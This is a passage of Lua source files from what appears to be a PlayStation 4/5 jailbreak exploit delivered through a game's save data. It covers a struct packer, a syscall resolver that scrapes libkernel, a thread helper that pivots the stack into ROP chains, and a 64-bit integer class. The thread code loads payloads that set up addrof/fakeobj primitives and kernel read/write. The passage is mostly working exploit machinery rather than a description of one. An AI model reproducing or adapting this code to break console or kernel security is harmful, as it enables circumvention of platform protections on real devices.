string.char(math.floor(exponent * ((opt == 'd') and 16 or 128) + val) % (2 ^ 8))) 87 | val = math.floor((exponent * ((opt == 'd') and 16 or 128) + val) / (2 ^ 8)) 88 | table.insert(bytes, string.char(math.floor(sign * 128 + val) % (2 ^ 8))) 89 | val = math.floor((sign * 128 + val) / (2 ^ 8)) 90 | 91 | if not endianness then 92 | table.insert(stream, string.reverse(table.concat(bytes))) 93 | else 94 | table.insert(stream, table.concat(bytes)) 95 | end 96 | elseif opt == 's' then 97 | table.insert(stream, tostring(table.remove(vars, 1))) 98 | table.insert(stream, string.char(0)) 99 | elseif opt == 'c' then 100 | local n = format:sub(i + 1):match('%d+') 101 | local str = tostring(table.remove(vars, 1)) 102 | local len = tonumber(n) 103 | if len <= 0 then 104 | len = str:len() 105 | end 106 | if len - str:len() > 0 then 107 | str = str .. string.rep(' ', len - str:len()) 108 | end 109 | table.insert(stream, str:sub(1, len)) 110 | i = i + n:len() 111 | end 112 | end 113 | 114 | return table.concat(stream) 115 | end 116 | 117 | function struct.unpack(format, stream, pos) 118 | local vars = {} 119 | local iterator = pos or 1 120 | local endianness = true 121 | 122 | for i = 1, format:len() do 123 | local opt = format:sub(i, i) 124 | 125 | if opt == '<' then 126 | endianness = true 127 | elseif opt == '>' then 128 | endianness = false 129 | elseif opt:find('[bBhHiIlL]') then 130 | local n = opt:find('[hH]') and 2 or opt:find('[iI]') and 4 or opt:find('[lL]') and 8 or 1 131 | local signed = opt:lower() == opt 132 | 133 | local val = 0 134 | for j = 1, n do 135 | local byte = string.byte(stream:sub(iterator, iterator)) 136 | if endianness then 137 | val = val + byte * (2 ^ ((j - 1) * 8)) 138 | else 139 | val = val + byte * (2 ^ ((n - j) * 8)) 140 | end 141 | iterator = iterator + 1 142 | end 143 | 144 | if signed and val >= 2 ^ (n * 8 - 1) then 145 | val = val - 2 ^ (n * 8) 146 | end 147 | 148 | table.insert(vars, math.floor(val)) 149 | elseif opt:find('[fd]') then 150 | local n = (opt == 'd') and 8 or 4 151 | local x = stream:sub(iterator, iterator + n - 1) 152 | iterator = iterator + n 153 | 154 | if not endianness then 155 | x = string.reverse(x) 156 | end 157 | 158 | local sign = 1 159 | local mantissa = string.byte(x, (opt == 'd') and 7 or 3) % ((opt == 'd') and 16 or 128) 160 | for i = n - 2, 1, -1 do 161 | mantissa = mantissa * (2 ^ 8) + string.byte(x, i) 162 | end 163 | 164 | if string.byte(x, n) > 127 then 165 | sign = -1 166 | end 167 | 168 | local exponent = (string.byte(x, n) % 128) * ((opt == 'd') and 16 or 2) + math.floor(string.byte(x, n - 1) / ((opt == 'd') and 16 or 128)) 169 | if exponent == 0 then 170 | table.insert(vars, 0.0) 171 | else 172 | mantissa = (math.ldexp(mantissa, (opt == 'd') and -52 or -23) + 1) * sign 173 | table.insert(vars, math.ldexp(mantissa, exponent - ((opt == 'd') and 1023 or 127))) 174 | end 175 | elseif opt == 's' then 176 | local bytes = {} 177 | for j = iterator, stream:len() do 178 | if stream:sub(j,j) == string.char(0) or stream:sub(j) == '' then 179 | break 180 | end 181 | 182 | table.insert(bytes, stream:sub(j, j)) 183 | end 184 | 185 | local str = table.concat(bytes) 186 | iterator = iterator + str:len() + 1 187 | table.insert(vars, str) 188 | elseif opt == 'c' then 189 | local n = format:sub(i + 1):match('%d+') 190 | local len = tonumber(n) 191 | if len <= 0 then 192 | len = table.remove(vars) 193 | end 194 | 195 | table.insert(vars, stream:sub(iterator, iterator + len - 1)) 196 | iterator = iterator + len 197 | i = i + n:len() 198 | end 199 | end 200 | 201 | return unpack(vars) 202 | end -------------------------------------------------------------------------------- /savedata/syscall.lua: -------------------------------------------------------------------------------- 1 | 2 | -- 3 | -- syscall class 4 | -- 5 | -- helper for managing & resolving syscalls 6 | -- 7 | 8 | syscall = {} 9 | 10 | function syscall.init() 11 | 12 | syscall.collect_info() 13 | 14 | print("[+] libkernel base @ " .. hex(libkernel_base)) 15 | print("[+] platform @ " .. PLATFORM) 16 | 17 | if PLATFORM == "ps4" then -- ps4 requires valid syscall wrapper, which we can scrape from libkernel .text 18 | local libkernel_text = memory.read_buffer(libkernel_base, 0x40000) 19 | -- mov rax, ; mov r10, rcx; syscall 20 | local matches = find_pattern(libkernel_text, "48 c7 c0 ? ? ? ? 49 89 ca 0f 05") 21 | syscall.syscall_wrapper = {} 22 | for i,offset in ipairs(matches) do 23 | local num = uint64.unpack(libkernel_text:sub(offset+3, offset+6)) 24 | syscall.syscall_wrapper[num:tonumber()] = libkernel_base + offset - 1 25 | end 26 | elseif PLATFORM == "ps5" then -- can be any syscall wrapper in libkernel 27 | local gettimeofday = memory.read_qword(libc_addrofs.gettimeofday_import) 28 | syscall.syscall_address = gettimeofday + 7 -- +7 is to skip "mov rax, " instruction 29 | else 30 | errorf("invalid platform %s", PLATFORM) 31 | end 32 | 33 | syscall.do_sanity_check() 34 | end 35 | 36 | function syscall.collect_info() 37 | 38 | -- ref: https://github.com/shadps4-emu/shadPS4/blob/0bdd21b4e49c25955b16a3651255381b4a60f538/src/core/module.h#L32 39 | local INIT_PROC_ADDR_OFFSET = 0x128 40 | local SEGMENTS_OFFSET = 0x160 41 | 42 | local sceKernelGetModuleInfoFromAddr = fcall(libc_addrofs.sceKernelGetModuleInfoFromAddr) 43 | 44 | local addr_inside_libkernel = memory.read_qword(libc_addrofs.gettimeofday_import) 45 | local mod_info = memory.alloc(0x300) 46 | 47 | local ret = sceKernelGetModuleInfoFromAddr(addr_inside_libkernel, 1, mod_info):tonumber() 48 | if ret ~= 0 then 49 | error("sceKernelGetModuleInfoFromAddr() error: " .. hex(ret)) 50 | end 51 | 52 | libkernel_base = memory.read_qword(mod_info + SEGMENTS_OFFSET) 53 | 54 | -- credit to flatz for this technique 55 | local init_proc_addr = memory.read_qword(mod_info + INIT_PROC_ADDR_OFFSET) 56 | local delta = (init_proc_addr - libkernel_base):tonumber() 57 | 58 | if delta == 0x0 then 59 | PLATFORM = "ps4" 60 | elseif delta == 0x10 then 61 | PLATFORM = "ps5" 62 | else 63 | error("failed to determine PLATFORM") 64 | end 65 | end 66 | 67 | function syscall.resolve(list) 68 | for name, num in pairs(list) do 69 | if not syscall[name] then 70 | if PLATFORM == "ps4" then 71 | if syscall.syscall_wrapper[num] then 72 | syscall[name] = fcall(syscall.syscall_wrapper[num], num) 73 | else 74 | errorf("syscall wrapper for %s (%d) not found in libkernel", name, num) 75 | end 76 | elseif PLATFORM == "ps5" then 77 | syscall[name] = fcall(syscall.syscall_address, num) 78 | end 79 | end 80 | end 81 | end 82 | 83 | function syscall.do_sanity_check() 84 | 85 | syscall.resolve({ 86 | getpid = 20, 87 | }) 88 | 89 | local pid = syscall.getpid() 90 | if not (pid and pid.h == 0 and pid.l ~= 0) then 91 | error("syscall test failed") 92 | end 93 | end 94 | -------------------------------------------------------------------------------- /savedata/thread.lua: -------------------------------------------------------------------------------- 1 | -- 2 | -- thread class 3 | -- 4 | -- use Thrd_create from libc to start a new thread 5 | -- this thread is compatible with the libc functions that the game uses 6 | -- 7 | 8 | thread = {} 9 | thread.__index = thread 10 | 11 | function thread.init() 12 | 13 | local setjmp = fcall(libc_addrofs.setjmp) 14 | 15 | -- get existing state 16 | local jmpbuf = memory.alloc(0x60) 17 | setjmp(jmpbuf) 18 | 19 | thread.fpu_ctrl_value = memory.read_dword(jmpbuf + 0x40) 20 | thread.mxcsr_value = memory.read_dword(jmpbuf + 0x44) 21 | thread.thr_handle_addr = memory.alloc(0x8) 22 | thread.initialized = true 23 | end 24 | 25 | 26 | function thread:new(obj, ...) 27 | 28 | if not thread.initialized then 29 | thread.init() 30 | end 31 | 32 | local chain = obj or {} 33 | 34 | if chain.stack_base then 35 | chain = obj 36 | else 37 | chain = ropchain({ 38 | fcall_stub_padding_size = 0x50000 39 | }) 40 | 41 | if obj.syscall_no then 42 | chain:push_syscall_with_ret(obj, ...) 43 | else 44 | chain:push_fcall_with_ret(obj, ...) 45 | end 46 | end 47 | 48 | local self = setmetatable({}, thread) 49 | 50 | -- exit the thread after it has finished 51 | chain:push_fcall(libc_addrofs.Thrd_exit) 52 | 53 | self.jmpbuf = memory.alloc(0x60) 54 | 55 | memory.write_qword(self.jmpbuf, gadgets["ret"]) -- ret addr 56 | memory.write_qword(self.jmpbuf + 0x10, chain.stack_base) -- rsp - pivot to our ropchain 57 | memory.write_dword(self.jmpbuf + 0x40, thread.fpu_ctrl_value) -- fpu control word 58 | memory.write_dword(self.jmpbuf + 0x44, thread.mxcsr_value) -- mxcsr 59 | 60 | self.chain = chain 61 | return self 62 | end 63 | 64 | function thread:run(async) 65 | 66 | async = async or false 67 | 68 | local Thrd_create = fcall(libc_addrofs.Thrd_create) 69 | 70 | -- spawn new thread with longjmp as entry, which then will jmp to our ropchain 71 | local ret = Thrd_create(thread.thr_handle_addr, libc_addrofs.longjmp, self.jmpbuf):tonumber() 72 | 73 | if ret ~= 0 then 74 | error("Thrd_create() error: " .. hex(ret)) 75 | end 76 | 77 | self.thr_handle = memory.read_qword(thread.thr_handle_addr) 78 | 79 | if not async then 80 | self:join(self) 81 | end 82 | 83 | self.async = async 84 | end 85 | 86 | function thread:join() 87 | 88 | -- dont call `Thrd_join` if we already done so 89 | if self.async == false then 90 | return nil 91 | end 92 | 93 | local Thrd_join = fcall(libc_addrofs.Thrd_join) 94 | 95 | -- will block until thread terminate 96 | local ret = Thrd_join(self.thr_handle, 0):tonumber() 97 | 98 | if ret ~= 0 then 99 | error("Thrd_join() error: " .. hex(ret)) 100 | end 101 | end 102 | 103 | -- 104 | -- opt = { 105 | -- args = additional data (table) to be passed to new thread 106 | -- async = run lua code asynchronously (default is false) 107 | -- client_fd = output sink fd for new thread 108 | -- close_socket_after_finished = if thread should close client_fd after it has finished running 109 | -- } 110 | -- 111 | -- NOTE: Running lua in new thread using this method has a chance to crash the game process 112 | -- because of unfixed race condition in native primitives. Thus, calling this function 113 | -- is not recommended. Leaving the code here for historical purpose. 114 | -- 115 | function run_lua_code_in_new_thread(lua_code, opt) 116 | 117 | opt = opt or {} 118 | opt.async = opt.async or false 119 | 120 | local LUA_REGISTRYINDEX = -10000 121 | local LUA_ENVIRONINDEX = -10001 122 | local LUA_GLOBALSINDEX = -10002 123 | local LUA_MULTRET = -1 124 | 125 | local luaL_newstate = fcall(eboot_addrofs.luaL_newstate) 126 | local luaL_openlibs = fcall(eboot_addrofs.luaL_openlibs) 127 | local lua_setfield = fcall(eboot_addrofs.lua_setfield) 128 | local luaL_loadstring = fcall(eboot_addrofs.luaL_loadstring) 129 | local lua_pushcclosure = fcall(eboot_addrofs.lua_pushcclosure) 130 | local lua_tolstring = fcall(eboot_addrofs.lua_tolstring) 131 | local lua_pushstring = fcall(eboot_addrofs.lua_pushstring) 132 | local lua_pushinteger = fcall(eboot_addrofs.lua_pushinteger) 133 | 134 | local lua_runner = [[ 135 | 136 | package.path = package.path .. ";LUA_PATH?.lua" 137 | 138 | require "globals" 139 | require "misc" 140 | require "bit32" 141 | require "uint64" 142 | require "struct" 143 | require "lua" 144 | require "memory" 145 | require "ropchain" 146 | require "syscall" 147 | require "native" 148 | require "thread" 149 | require "kernel_offset" 150 | require "kernel" 151 | 152 | function _payload_init() 153 | 154 | local data_from_loader = deserialize(_data_from_loader) 155 | 156 | local syscall_tbl = data_from_loader.syscall 157 | data_from_loader.syscall = nil -- dont copy to global 158 | 159 | native.pivot_handler_rop = data_from_loader.native_pivot_handler_rop 160 | data_from_loader.native_pivot_handler_rop = nil -- dont copy to global 161 | 162 | -- copy to global 163 | for k,v in pairs(data_from_loader) do 164 | _G[k] = v 165 | end 166 | 167 | -- copy (existing) resolved syscall from loader 168 | for k,v in pairs(syscall_tbl) do 169 | if v.fn_addr and v.syscall_no then 170 | syscall[k] = fcall(v.fn_addr, v.syscall_no) 171 | end 172 | end 173 | 174 | syscall.syscall_wrapper = syscall_tbl.syscall_wrapper 175 | syscall.syscall_address = syscall_tbl.syscall_address 176 | 177 | -- enable addrof/fakeobj primitives 178 | lua.setup_victim_table() 179 | 180 | storage.data = storage_data 181 | 182 | -- init kernel r/w class if exploit state exists 183 | if not kernel.rw_initialized then 184 | initialize_kernel_rw() 185 | end 186 | 187 | end 188 | 189 | _payload_init() 190 | 191 | old_print = print 192 | function print(...) 193 | local out = prepare_arguments(...) .. "\n" 194 | old_print(out) -- print to stdout 195 | if client_fd then 196 | syscall.write(client_fd, out, #out) 197 | end 198 | end 199 | 200 | function _run_payload() 201 | 202 | local script, err = loadstring(_lua_code) 203 | if err then 204 | print(err) 205 | return 206 | end 207 | 208 | -- note: calling `debug.traceback` will crash the game. no stacktrace sucks :< 209 | -- local ok, err = xpcall(main, function(err) 210 | -- return debug.traceback(err, 2) 211 | -- end) 212 | 213 | local ok, err = pcall(script) 214 | if err then 215 | print(err) 216 | end 217 | end 218 | 219 | _run_payload() 220 | ]] 221 | 222 | local data_from_loader = { 223 | gadgets = gadgets, 224 | eboot_addrofs = eboot_addrofs, 225 | libc_addrofs = libc_addrofs, 226 | eboot_base = eboot_base, 227 | libc_base = libc_base, 228 | libkernel_base = libkernel_base, 229 | PLATFORM = PLATFORM, 230 | FW_VERSION = FW_VERSION, 231 | game_name = game_name, 232 | syscall = syscall, 233 | storage_data = storage.data, 234 | native_pivot_handler_rop = native.pivot_handler_rop, 235 | args = opt.args, 236 | client_fd = opt.client_fd, 237 | _lua_code = lua_code, 238 | } 239 | 240 | local pivot_handler = gadgets.stack_pivot[2] 241 | 242 | local L = luaL_newstate() 243 | luaL_openlibs(L) 244 | 245 | lua_pushinteger(L, native.create_cmd_handler()); 246 | lua_setfield(L, LUA_GLOBALSINDEX, "native_cmd_handler"); 247 | 248 | lua_pushcclosure(L, pivot_handler.gadget_addr, 1); 249 | lua_setfield(L, LUA_GLOBALSINDEX, "native_invoke"); 250 | 251 | lua_pushstring(L, serialize(data_from_loader)) 252 | lua_setfield(L, LUA_GLOBALSINDEX, "_data_from_loader"); 253 | 254 | local LUA_PATH = "/savedata0/" 255 | if is_jailbroken() then 256 | LUA_PATH = string.format("/mnt/sandbox/%s_000/savedata0/", get_title_id()) 257 | end 258 | 259 | lua_runner = lua_runner:gsub("LUA_PATH", LUA_PATH) 260 | 261 | local ret = luaL_loadstring(L, lua_runner):tonumber() 262 | if ret ~= 0 then 263 | local err = memory.read_null_terminated_string(lua_tolstring(L, -1, 0)) 264 | print(err) 265 | if opt.client_fd then 266 | syscall.write(opt.client_fd, err, #err) 267 | if opt.close_socket_after_finished then 268 | syscall.close(opt.client_fd) 269 | end 270 | end 271 | return 272 | end 273 | 274 | local thr = thread:new(eboot_addrofs.lua_pcall, L, 0, LUA_MULTRET, 0) 275 | 276 | thr:run(opt.async) 277 | 278 | return thr 279 | end -------------------------------------------------------------------------------- /savedata/uint64.lua: -------------------------------------------------------------------------------- 1 | 2 | -- 3 | -- uint64 class 4 | -- 5 | -- constructor accepts: 6 | -- 1) uint64 instance 7 | -- 2) hex value in string ("0xaabb") 8 | -- 3) lua number 9 | -- 10 | -- note: from llm and refined over time. might have some bugs 11 | -- 12 | 13 | uint64 = {} 14 | uint64.__index = uint64 15 | 16 | setmetatable(uint64, { 17 | __call = function(_, v) -- make class callable 18 | return uint64:new(v) 19 | end 20 | }) 21 | 22 | function is_uint64(v) 23 | return type(v) == "table" and v.h and v.l and true or false 24 | end 25 | 26 | function ub8(n) 27 | return uint64(n):pack() 28 | end 29 | 30 | function hex(v) 31 | if is_uint64(v) then 32 | return tostring(v) 33 | elseif type(v) == "number" then 34 | return string.format("0x%x", v) 35 | else 36 | errorf("hex: unknown type (%s) for value %s", type(v), tostring(v)) 37 | end 38 | end 39 | 40 | function uint64:new(v) 41 | 42 | local self = setmetatable({}, uint64) 43 | 44 | if is_uint64(v) then 45 | self.h, self.l = v.h, v.l 46 | elseif type(v) == "number" then 47 | self.h, self.l = math.floor(v / 2^32), v % 2^32 48 | elseif type(v) == "string" then 49 | if v:sub(1, 2):lower() == "0x" then -- init from hexstring 50 | v = v:sub(3):gsub("^0+", ""):upper() 51 | if #v > 16 then 52 | errorf("uint64:new: hex string too long for uint64 (%s)", v) 53 | end 54 | v = string.rep("0", 16 - #v) .. v -- pad with leading zeros 55 | self.h = tonumber(v:sub(1, 8), 16) or 0 56 | self.l = tonumber(v:sub(9, 16), 16) or 0 57 | else 58 | local num = tonumber(v) -- assume its normal number 59 | if not num then 60 | errorf("uint64:new: invalid decimal string for uint64 (%s)", v) 61 | end 62 | self.h, self.l = math.floor(num / 2^32), num % 2^32 63 | end 64 | else 65 | errorf("uint64:new: invalid type passed to constructor (%s)", type(v)) 66 | end 67 | 68 | return self 69 | end 70 | 71 | function uint64:__tostring() 72 | local hex = string.format("%x%08x", self.h, self.l):gsub("^0+", "") 73 | return "0x" .. (hex == "" and "0" or hex) 74 | end 75 | 76 | function uint64:tonumber() 77 | if self.h >= 0x80000000 then -- for negative number 78 | return -(bit32.bnot(self.h) * 2^32 + bit32.bnot(self.l) + 1) 79 | else 80 | return self.h * 2^32 + self.l 81 | end 82 | end 83 | 84 | function uint64:pack() 85 | return struct.pack(" 8 then 90 | error("uint64.unpack: input string must be 8 bytes length or lower") 91 | end 92 | if #str < 8 then 93 | str = str .. string.rep('\0', 8 - #str) 94 | end 95 | return uint64({ 96 | h = struct.unpack("= 2^32 and 1 or 0) 122 | return uint64({h = h % 2^32, l = l % 2^32}) 123 | end 124 | 125 | function uint64:__sub(v) 126 | v = uint64(v) 127 | local l = self.l - v.l 128 | local h = self.h - v.h - (l < 0 and 1 or 0) 129 | return uint64({h = (h + 2^32) % 2^32, l = (l + 2^32) % 2^32}) 130 | end 131 | 132 | function uint64:__mul(v) 133 | v = uint64(v) 134 | local ah, al, bh, bl = self.h, self.l, v.h, v.l 135 | local h = ah * bl + al * bh 136 | local l = al * bl 137 | return uint64({h = (h + bit32.rshift(l, 32)) % 2^32, l = l % 2^32}) 138 | end 139 | 140 | function uint64:divmod(v) 141 | v = uint64(v) 142 | if v.h == 0 and v.l == 0 then 143 | error("division by zero") 144 | end 145 | local q, r = uint64(0), uint64(0) 146 | for i = 63, 0, -1 do 147 | r = bit64.lshift(r, 1) 148 | if bit32.rshift(self.h, i % 32) % 2 == 1 or (i < 32 and bit32.rshift(self.l, i) % 2 == 1) then 149 | r = r + 1 150 | end 151 | if r >= v then 152 | r = r - v 153 | q = q + bit64.lshift(1, i) 154 | end 155 | end 156 | return q, r 157 | end 158 | 159 | function uint64:__div(v) 160 | local q, _ = self:divmod(v) 161 | return q 162 | end 163 | 164 | function uint64:__mod(v) 165 | local _, r = self:divmod(v) 166 | return r 167 | end 168 | 169 | 170 | -- 171 | -- bitwise operations for uint64 class 172 | -- 173 | 174 | bit64 = {} 175 | 176 | function bit64.lshift(x, s_amount) 177 | 178 | x = uint64(x) 179 | 180 | if s_amount >= 64 then 181 | return uint64(0) 182 | elseif s_amount >= 32 then 183 | return uint64({h = bit32.lshift(x.l, s_amount - 32), l = 0}) 184 | else 185 | local h = bit32.bor(bit32.lshift(x.h, s_amount), bit32.rshift(x.l, 32 - s_amount)) 186 | local l = bit32.lshift(x.l, s_amount) 187 | return uint64({h = h, l = l}) 188 | end 189 | end 190 | 191 | function bit64.rshift(x, s_amount) 192 | 193 | x = uint64(x) 194 | 195 | if s_amount >= 64 then 196 | return uint64(0) 197 | elseif s_amount >= 32 then 198 | return uint64({h = 0, l = bit32.rshift(x.h, s_amount - 32)}) 199 | else 200 | local h = bit32.rshift(x.h, s_amount) 201 | local l = bit32.bor(bit32.rshift(x.l, s_amount), bit32.lshift(x.h % (2^s_amount), 32 - s_amount)) 202 | return uint64({h = h, l = l}) 203 | end 204 | end 205 | 206 | function bit64.bxor(...) 207 | 208 | local args = {...} 209 | local result = uint64(args[1]) or 0 210 | 211 | for i = 2, #args do 212 | local x = uint64(args[i]) 213 | result = uint64({ 214 | h = bit32.bxor(result.h, x.h), 215 | l = bit32.bxor(result.l, x.l) 216 | }) 217 | end 218 | 219 | return result 220 | end 221 | 222 | function bit64.band(...) 223 | 224 | local args = {...} 225 | local result = uint64(args[1]) or 0 226 | 227 | for i = 2, #args do 228 | local x = uint64(args[i]) 229 | result = uint64({ 230 | h = bit32.band(result.h, x.h), 231 | l = bit32.band(result.l, x.l) 232 | }) 233 | end 234 | 235 | return result 236 | end 237 | 238 | function bit64.bor(...) 239 | 240 | local args = {...} 241 | local result = uint64(args[1]) or 0 242 | 243 | for i = 2, #args do 244 | local x = uint64(args[i]) 245 | result = uint64({ 246 | h = bit32.bor(result.h, x.h), 247 | l = bit32.bor(result.l, x.l) 248 | }) 249 | end 250 | 251 | return result 252 | end 253 | 254 | function bit64.bnot(x) 255 | 256 | x = uint64(x) 257 | 258 | return uint64({ 259 | h = bit32.bnot(x.h), 260 | l = bit32.bnot(x.l) 261 | }) 262 | end 263 | --------------------------------------------------------------------------------